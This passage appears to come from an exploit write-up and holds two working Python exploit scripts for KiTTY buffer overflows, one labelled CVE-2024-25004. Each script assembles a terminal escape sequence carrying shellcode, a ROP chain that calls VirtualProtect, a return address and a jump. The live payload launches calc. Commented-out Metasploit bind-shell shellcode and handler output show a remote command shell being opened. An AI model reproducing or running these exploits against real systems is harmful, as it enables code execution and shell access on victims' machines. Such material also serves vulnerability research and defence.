# VERBOSE=false, LPORT=4444, RHOST=192.168.100.28,                                            #
# PrependMigrate=false, EXITFUNC=process, CreateSession=true,                                 #
# AutoVerifySession=true                                                                      #
#---------------------------------------------------------------------------------------------#

# buf =  b""
# buf += b"\x51\x53\x56\x57\xdb\xd9\xd9\x74\x24\xf4\x5f\x41"
# buf += b"\x49\x31\xc9\x51\x59\x90\x90\x81\xe9\xae\xff\xff"
# buf += b"\xff\xbe\xd4\xa1\xc4\xf4\x31\x77\x2b\x83\xef\xfc"
# buf += b"\x51\x59\x90\xff\xc9\x75\xf3\x5f\x5e\x5b\x59\x28"
# buf += b"\x49\x46\xf4\xd4\xa1\xa4\x7d\x31\x90\x04\x90\x5f"
# buf += b"\xf1\xf4\x7f\x86\xad\x4f\xa6\xc0\x2a\xb6\xdc\xdb"
# buf += b"\x16\x8e\xd2\xe5\x5e\x68\xc8\xb5\xdd\xc6\xd8\xf4"
# buf += b"\x60\x0b\xf9\xd5\x66\x26\x06\x86\xf6\x4f\xa6\xc4"
# buf += b"\x2a\x8e\xc8\x5f\xed\xd5\x8c\x37\xe9\xc5\x25\x85"
# buf += b"\x2a\x9d\xd4\xd5\x72\x4f\xbd\xcc\x42\xfe\xbd\x5f"
# buf += b"\x95\x4f\xf5\x02\x90\x3b\x58\x15\x6e\xc9\xf5\x13"
# buf += b"\x99\x24\x81\x22\xa2\xb9\x0c\xef\xdc\xe0\x81\x30"
# buf += b"\xf9\x4f\xac\xf0\xa0\x17\x92\x5f\xad\x8f\x7f\x8c"
# buf += b"\xbd\xc5\x27\x5f\xa5\x4f\xf5\x04\x28\x80\xd0\xf0"
# buf += b"\xfa\x9f\x95\x8d\xfb\x95\x0b\x34\xfe\x9b\xae\x5f"
# buf += b"\xb3\x2f\x79\x89\xc9\xf7\xc6\xd4\xa1\xac\x83\xa7"
# buf += b"\x93\x9b\xa0\xbc\xed\xb3\xd2\xd3\x5e\x11\x4c\x44"
# buf += b"\xa0\xc4\xf4\xfd\x65\x90\xa4\xbc\x88\x44\x9f\xd4"
# buf += b"\x5e\x11\x9e\xdc\xf8\x94\x16\x29\xe1\x94\xb4\x84"
# buf += b"\xc9\x2e\xfb\x0b\x41\x3b\x21\x43\xc9\xc6\xf4\xc5"
# buf += b"\xfd\x4d\x12\xbe\xb1\x92\xa3\xbc\x63\x1f\xc3\xb3"
# buf += b"\x5e\x11\xa3\xbc\x16\x2d\xcc\x2b\x5e\x11\xa3\xbc"
# buf += b"\xd5\x28\xcf\x35\x5e\x11\xa3\x43\xc9\xb1\x9a\x99"
# buf += b"\xc0\x3b\x21\xbc\xc2\xa9\x90\xd4\x28\x27\xa3\x83"
# buf += b"\xf6\xf5\x02\xbe\xb3\x9d\xa2\x36\x5c\xa2\x33\x90"
# buf += b"\x85\xf8\xf5\xd5\x2c\x80\xd0\xc4\x67\xc4\xb0\x80"
# buf += b"\xf1\x92\xa2\x82\xe7\x92\xba\x82\xf7\x97\xa2\xbc"
# buf += b"\xd8\x08\xcb\x52\x5e\x11\x7d\x34\xef\x92\xb2\x2b"
# buf += b"\x91\xac\xfc\x53\xbc\xa4\x0b\x01\x1a\x34\x41\x76"
# buf += b"\xf7\xac\x52\x41\x1c\x59\x0b\x01\x9d\xc2\x88\xde"
# buf += b"\x21\x3f\x14\xa1\xa4\x7f\xb3\xc7\xd3\xab\x9e\xd4"
# buf += b"\xf2\x3b\x21"

buf = b""
buf += b"\xB8\xAD\xEB\x4C\xFF\xBB\x11\x11\x11\xFF\x31\xD8\x8B\x18\x89\xD8\xB9\xF1\x77\x15\xFF\xBA\x11\x11\x11\xFF\x31\xD1\x01\xC8\x89\xC3\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\xFF\xD3"

'''
Disassembly:
0:  b8 ad eb 4c ff          mov    eax,0xff4cebad
5:  bb 11 11 11 ff          mov    ebx,0xff111111
a:  31 d8                   xor    eax,ebx					; 005DFABC		CreateFileA	KERNEL32
c:  8b 18                   mov    ebx,DWORD PTR [eax]
e:  89 d8                   mov    eax,ebx
10: b9 f1 77 15 ff          mov    ecx,0xff1577f1
15: ba 11 11 11 ff          mov    edx,0xff111111
1a: 31 d1                   xor    ecx,edx					; 0x466e0: offset WinExec from CreateFileA
1c: 01 c8                   add    eax,ecx
1e: 89 c3                   mov    ebx,eax					; ebx = VA off WinExec
20: 31 c0                   xor    eax,eax
22: 50                      push   eax
23: 68 63 61 6c 63          push   0x636c6163				; clac
28: 54                      push   esp
29: ff d3                   call   ebx						; WinExec("calc")
'''

def shellcode():
	sc = b''
	sc += b'\xBB\x44\x24\x44\x44' # mov    ebx,0x44442444
	sc += b'\xB8\x44\x44\x44\x44' # mov    eax,0x44444444
	sc += b'\x29\xD8'             # sub    eax,ebx
	sc += b'\x29\xC4'             # sub    esp,eax
	sc += buf
	sc += b'\x90' * (1052-len(sc))
	assert len(sc) == 1052 
	return sc


def create_rop_chain():

	# rop chain generated with mona.py - www.corelan.be
	rop_gadgets = [
	#[---INFO:gadgets_to_set_esi:---]
	0x004c5832,  # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe]
	0x006424a4,  # ptr to &VirtualProtect() [IAT kitty.exe]
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x00484e07,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe]
	0x00473cf6,  # XCHG EAX,ESI # RETN [kitty.exe]
	#[---INFO:gadgets_to_set_ebp:---]
	0x00429953,  # POP EBP # RETN [kitty.exe]
	0x005405b0, # push esp; ret 0 [kitty.exe]
	#[---INFO:gadgets_to_set_ebx:---]
	0x0049d9f9,  # POP EBX # RETN [kitty.exe]
	0x00000201,  # 0x00000201-> ebx
	#[---INFO:gadgets_to_set_edx:---]
	0x00430dce,  # POP EDX # RETN [kitty.exe]
	0x00000040,  # 0x00000040-> edx
	#[---INFO:gadgets_to_set_ecx:---]
	0x005ac58c,  # POP ECX # RETN [kitty.exe]
	0x004d81d9,  # &Writable location [kitty.exe]
	#[---INFO:gadgets_to_set_edi:---]
	0x004fa404,  # POP EDI # RETN [kitty.exe]
	0x005a2001,  # RETN (ROP NOP) [kitty.exe]
	#[---INFO:gadgets_to_set_eax:---]
	0x004cd011,  # POP EAX # POP EBX # RETN [kitty.exe]
	0x90909090,  # nop
	0x41414141,  # Filler (compensate)
	#[---INFO:pushad:---]
	# 0x005dfbac,  # PUSHAD # RETN [kitty.exe]
	0x00529f38	# pushal; ret; 
	]
	return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()


#----------------------------------------------------------------------------------#
# Badchars: \x00\x07\x0a\x0d\x1b\x9c\x3A\x40                                       #
# Return Address Information: 0x0052033c : {pivot 332 / 0x14c} :                   #
#   ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN                     #
#   ** [kitty.exe] **   |  startnull,ascii {PAGE_EXECUTE_READWRITE}                #
# Shellcode size at ESP: 1052                                                      #
#----------------------------------------------------------------------------------#

return_address = struct.pack('<I',  0x0052033c) # ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [kitty.exe] **   |  startnull,ascii {PAGE_EXECUTE_READWRITE}

rop_chain_padding = b'\x90' * 35 
nops = b'\x90' * 88

escape_sequence = b'\033]0;__dt:' + shellcode() + return_address
escape_sequence += rop_chain_padding + rop_chain
escape_sequence += b'\x90'
escape_sequence += b"\xE9\x2A\xFA\xFF\xFF" #jmp $eip-1490
escape_sequence += nops + b'\007'

stdout = os.fdopen(sys.stdout.fileno(), 'wb') 
stdout.write(escape_sequence)
stdout.flush()
            

```

- CVE 2024-25004

```python=
#!/usr/bin/python

#-------------------------------------------------------------------------------------#
# Exploit: KiTTY ≤ 0.76.1.13 Buffer Overflow Vulnerability in KiTTY Start             #
#        Duplicated Session Username Variable (CVE-2024-25004)                        #
# OS: Microsoft Windows 11/10/8/7/XP                                                  #
# Author: DEFCESCO (Austin A. DeFrancesco)                                            #
# Software:                                                                           #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #
#-------------------------------------------------------------------------------------#
# More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY          #
#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) > to_handler                                   #
# [*] Payload Handler Started as Job 1                                                #
# msf6 payload(windows/shell_bind_tcp) >                                              #
# [*] Started bind TCP handler against 192.168.100.28:4444                            #
# [*] Command shell session 1 opened (192.168.100.119:34285 -> 192.168.100.28:4444)   # 
#-------------------------------------------------------------------------------------#

import sys
import os
import struct

#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) > generate -b '\x00\x07\x0a\x0d\x1b\x9c' -f py #
# windows/shell_bind_tcp - 355 bytes                                                  #
# https://metasploit.com/                                                             #
# Encoder: x86/shikata_ga_nai                                                         #
# VERBOSE=false, LPORT=4444, RHOST=192.168.100.28,                                    #
# PrependMigrate=false, EXITFUNC=process, CreateSession=true,                         #
# AutoVerifySession=true                                                              #
#-------------------------------------------------------------------------------------#

# buf =  b""
# buf += b"\xd9\xe9\xd9\x74\x24\xf4\xbd\xfe\xb7\xa4\x99\x5e"
# buf += b"\x29\xc9\xb1\x53\x83\xee\xfc\x31\x6e\x13\x03\x90"
# buf += b"\xa4\x46\x6c\x90\x23\x04\x8f\x68\xb4\x69\x19\x8d"
# buf += b"\x85\xa9\x7d\xc6\xb6\x19\xf5\x8a\x3a\xd1\x5b\x3e"
# buf += b"\xc8\x97\x73\x31\x79\x1d\xa2\x7c\x7a\x0e\x96\x1f"
# buf += b"\xf8\x4d\xcb\xff\xc1\x9d\x1e\xfe\x06\xc3\xd3\x52"
# buf += b"\xde\x8f\x46\x42\x6b\xc5\x5a\xe9\x27\xcb\xda\x0e"
# buf += b"\xff\xea\xcb\x81\x8b\xb4\xcb\x20\x5f\xcd\x45\x3a"
# buf += b"\xbc\xe8\x1c\xb1\x76\x86\x9e\x13\x47\x67\x0c\x5a"
# buf += b"\x67\x9a\x4c\x9b\x40\x45\x3b\xd5\xb2\xf8\x3c\x22"
# buf += b"\xc8\x26\xc8\xb0\x6a\xac\x6a\x1c\x8a\x61\xec\xd7"
# buf += b"\x80\xce\x7a\xbf\x84\xd1\xaf\xb4\xb1\x5a\x4e\x1a"
# buf += b"\x30\x18\x75\xbe\x18\xfa\x14\xe7\xc4\xad\x29\xf7"
# buf += b"\xa6\x12\x8c\x7c\x4a\x46\xbd\xdf\x03\xab\x8c\xdf"
# buf += b"\xd3\xa3\x87\xac\xe1\x6c\x3c\x3a\x4a\xe4\x9a\xbd"
# buf += b"\xad\xdf\x5b\x51\x50\xe0\x9b\x78\x97\xb4\xcb\x12"
# buf += b"\x3e\xb5\x87\xe2\xbf\x60\x3d\xea\x66\xdb\x20\x17"
# buf += b"\xd8\x8b\xe4\xb7\xb1\xc1\xea\xe8\xa2\xe9\x20\x81"
# buf += b"\x4b\x14\xcb\xbc\xd7\x91\x2d\xd4\xf7\xf7\xe6\x40"
# buf += b"\x3a\x2c\x3f\xf7\x45\x06\x17\x9f\x0e\x40\xa0\xa0"
# buf += b"\x8e\x46\x86\x36\x05\x85\x12\x27\x1a\x80\x32\x30"
# buf += b"\x8d\x5e\xd3\x73\x2f\x5e\xfe\xe3\xcc\xcd\x65\xf3"
# buf += b"\x9b\xed\x31\xa4\xcc\xc0\x4b\x20\xe1\x7b\xe2\x56"
# buf += b"\xf8\x1a\xcd\xd2\x27\xdf\xd0\xdb\xaa\x5b\xf7\xcb"
# buf += b"\x72\x63\xb3\xbf\x2a\x32\x6d\x69\x8d\xec\xdf\xc3"
# buf += b"\x47\x42\xb6\x83\x1e\xa8\x09\xd5\x1e\xe5\xff\x39"
# buf += b"\xae\x50\x46\x46\x1f\x35\x4e\x3f\x7d\xa5\xb1\xea"
# buf += b"\xc5\xd5\xfb\xb6\x6c\x7e\xa2\x23\x2d\xe3\x55\x9e"
# buf += b"\x72\x1a\xd6\x2a\x0b\xd9\xc6\x5f\x0e\xa5\x40\x8c"
# buf += b"\x62\xb6\x24\xb2\xd1\xb7\x6c"

buf = b""
buf += b"\xB8\xAD\xEB\x4C\xFF\xBB\x11\x11\x11\xFF\x31\xD8\x8B\x18\x89\xD8\xB9\xF1\x77\x15\xFF\xBA\x11\x11\x11\xFF\x31\xD1\x01\xC8\x89\xC3\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\xFF\xD3"

'''
Disassembly:
0:  b8 ad eb 4c ff          mov    eax,0xff4cebad
5:  bb 11 11 11 ff          mov    ebx,0xff111111
a:  31 d8                   xor    eax,ebx					; 005DFABC		CreateFileA	KERNEL32
c:  8b 18                   mov    ebx,DWORD PTR [eax]
e:  89 d8                   mov    eax,ebx
10: b9 f1 77 15 ff          mov    ecx,0xff1577f1
15: ba 11 11 11 ff          mov    edx,0xff111111
1a: 31 d1                   xor    ecx,edx					; 0x466e0: offset WinExec from CreateFileA
1c: 01 c8                   add    eax,ecx
1e: 89 c3                   mov    ebx,eax					; ebx = VA off WinExec
20: 31 c0                   xor    eax,eax
22: 50                      push   eax
23: 68 63 61 6c 63          push   0x636c6163				; clac
28: 54                      push   esp
29: ff d3                   call   ebx						; WinExec("calc")
'''

def shellcode():
	sc = b'' 
	sc += b'\xBB\x44\x24\x44\x44' # mov    ebx,0x44442444
	sc += b'\xB8\x44\x44\x44\x44' # mov    eax,0x44444444
	sc += b'\x29\xD8'             # sub    eax,ebx
	sc += b'\x29\xC4'             # sub    esp,eax
	sc += buf
	sc += b'\x90' * (1042-len(sc))
	assert len(sc) == 1042 
	return sc

def create_rop_chain():
	# rop chain generated with mona.py - www.corelan.be
	rop_gadgets = [
	#[---INFO:gadgets_to_set_esi:---]
	0x004c5832,  # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe]
	0x006424a4,  # ptr to &VirtualProtect() [IAT kitty.exe]
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x00484e07,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe]
	0x00473cf6,  # XCHG EAX,ESI # RETN [kitty.exe]
	#[---INFO:gadgets_to_set_ebp:---]
	0x00429953,  # POP EBP # RETN [kitty.exe]
	0x005405b0,  # PUSH ESP; RETN 0 [kitty.exe]
	#[---INFO:gadgets_to_set_ebx:---]
	0x0049d9f9,  # POP EBX # RETN [kitty.exe]
	0x00000201,  # 0x00000201-> ebx
	#[---INFO:gadgets_to_set_edx:---]
	0x00430dce,  # POP EDX # RETN [kitty.exe]
	0x00000040,  # 0x00000040-> edx
	#[---INFO:gadgets_to_set_ecx:---]
	0x005ac58c,  # POP ECX # RETN [kitty.exe]
	0x004d81d9,  # &Writable location [kitty.exe]
	#[---INFO:gadgets_to_set_edi:---]
	0x004fa404,  # POP EDI # RETN [kitty.exe]
	0x005a2001,  # RETN (ROP NOP) [kitty.exe]
	#[---INFO:gadgets_to_set_eax:---]
	0x004cd011,  # POP EAX # POP EBX # RETN [kitty.exe]
	0x90909090,  # nop
	0x41414141,  # Filler (compensate)
	#[---INFO:pushad:---]
	# 0x005dfbac,  # PUSHAD # RETN [kitty.exe]
	0x00529f38	# pushal; ret; 
	]
	return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

#----------------------------------------------------------------------------------#
# Badchars: \x00\x07\x0a\x0d\x1b\x9c\x9d                                           #
# Return Address Information: 0x00529720 : {pivot 324 / 0x144} :                   #
#   ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN                     #
#   ** [kitty.exe] **   |  startnull {PAGE_EXECUTE_READWRITE}                      #
# Shellcode size at ESP: 1042 bytes                                                #
#----------------------------------------------------------------------------------#

return_address = struct.pack('<I',  0x00529720) # ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [kitty.exe] **   |  startnull {PAGE_EXECUTE_READWRITE}

rop_chain_padding = b'\x90' * 27
nops = b'\x90' * 88

escape_sequence = b'\033]0;__dt:localhost:' + shellcode() + return_address
escape_sequence += rop_chain_padding + rop_chain
escape_sequence += b'\xE9\x3D\xFA\xFF\xFF' # jmp $eip-1471
escape_sequence += nops + b'\007'

stdout = os.fdopen(sys.stdout.fileno(), 'wb') 
stdout.write(escape_sequence)
stdout.flush()

```